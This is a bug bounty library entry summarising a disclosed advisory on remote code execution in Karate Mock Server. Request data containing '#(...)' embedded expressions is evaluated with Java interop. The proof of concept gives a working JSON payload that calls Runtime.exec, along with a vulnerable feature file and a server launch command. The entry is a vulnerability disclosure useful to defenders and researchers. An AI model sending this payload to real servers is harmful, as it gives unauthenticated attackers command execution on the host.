# Karate Mock Server RCE via embedded expression evaluation of request-derived data

Karate Mock Server recursively evaluates `#(...)` embedded expressions inside request-derived data, letting an unauthenticated attacker reach `Java.type` and run OS commands.

- Payout: Research
- Severity: high
- Program: Karate
- Found by: baozongwi
- Disclosed: 2026-06-18
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-2c85-rfcc-g74j
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-2c85-rfcc-g74j
- Tags: area:web domain:api domain:web impact:rce kind:research platform:ghsa sev:high tech:java technique:source-review vuln:command-injection vuln:rce

**Target:** Karate Mock Server HTTP endpoints (body, headers, query params)
**Root cause:** StepExecutor.evalKarateExpression runs processEmbeddedExpressions on any Map/List value, including attacker-controlled request bodies/headers/params, so strings like `#(...)` are evaluated by the Karate runtime with Java interop enabled.
**Steps:**
1. Deploy a Mock Server feature that assigns request data, e.g. `* def body = request` (or `requestHeaders`/`requestParams`).
2. Start server: `java -cp "<karate-core-and-runtime-classpath>" io.karatelabs.Main mock -p 18080 -m vuln.feature`.
3. Send `POST /api/echo` with JSON body `{"poc": "#(Java.type('java.lang.Runtime').getRuntime().exec('sh -c id>/tmp/success'))"}`.
4. Server evaluates the embedded expression during `def body = request`, executing the command.
**How found:** Reporter traced the trust boundary: noticed `MockHandler` exposes `request` as a binding, then read `StepExecutor.evalKarateExpression`, which calls `processEmbeddedExpressions` on any Map/List — including maps converted from attacker JSON — and confirmed `processEmbeddedString` evaluates `#(...)` via `runtime.eval`.
**Exploitation:** Unauthenticated attacker sends a request whose body/header/query value is a `#(...)` embedded expression; when the feature assigns `request`/`requestHeaders`/`requestParams`, Karate recursively evaluates it, and `Java.type('java.lang.Runtime')` gives arbitrary OS command execution as the Mock Server process user.
**Insight:** When a framework auto-processes 'embedded expressions' in data, check whether request-derived bindings (body/headers/params) flow into the same evaluator as feature-authored literals; a `def x = request` step silently turns untrusted JSON into code.

## Proof of concept (copied exactly from the original report)

**Malicious JSON body with Java.type RCE payload**

```
{"poc": "#(Java.type('java.lang.Runtime').getRuntime().exec('sh -c id>/tmp/success'))"}
```

**Vulnerable mock feature assigning request**

```
Feature: demo

Background:
* def responseHeaders = { 'Content-Type': 'application/json' }

Scenario: pathMatches('/api/echo')
* def body = request
* def response = { ok: true }
```

**Mock server launch command**

```
java -cp "<karate-core-and-runtime-classpath>" io.karatelabs.Main mock -p 18080 -m vuln.feature
```

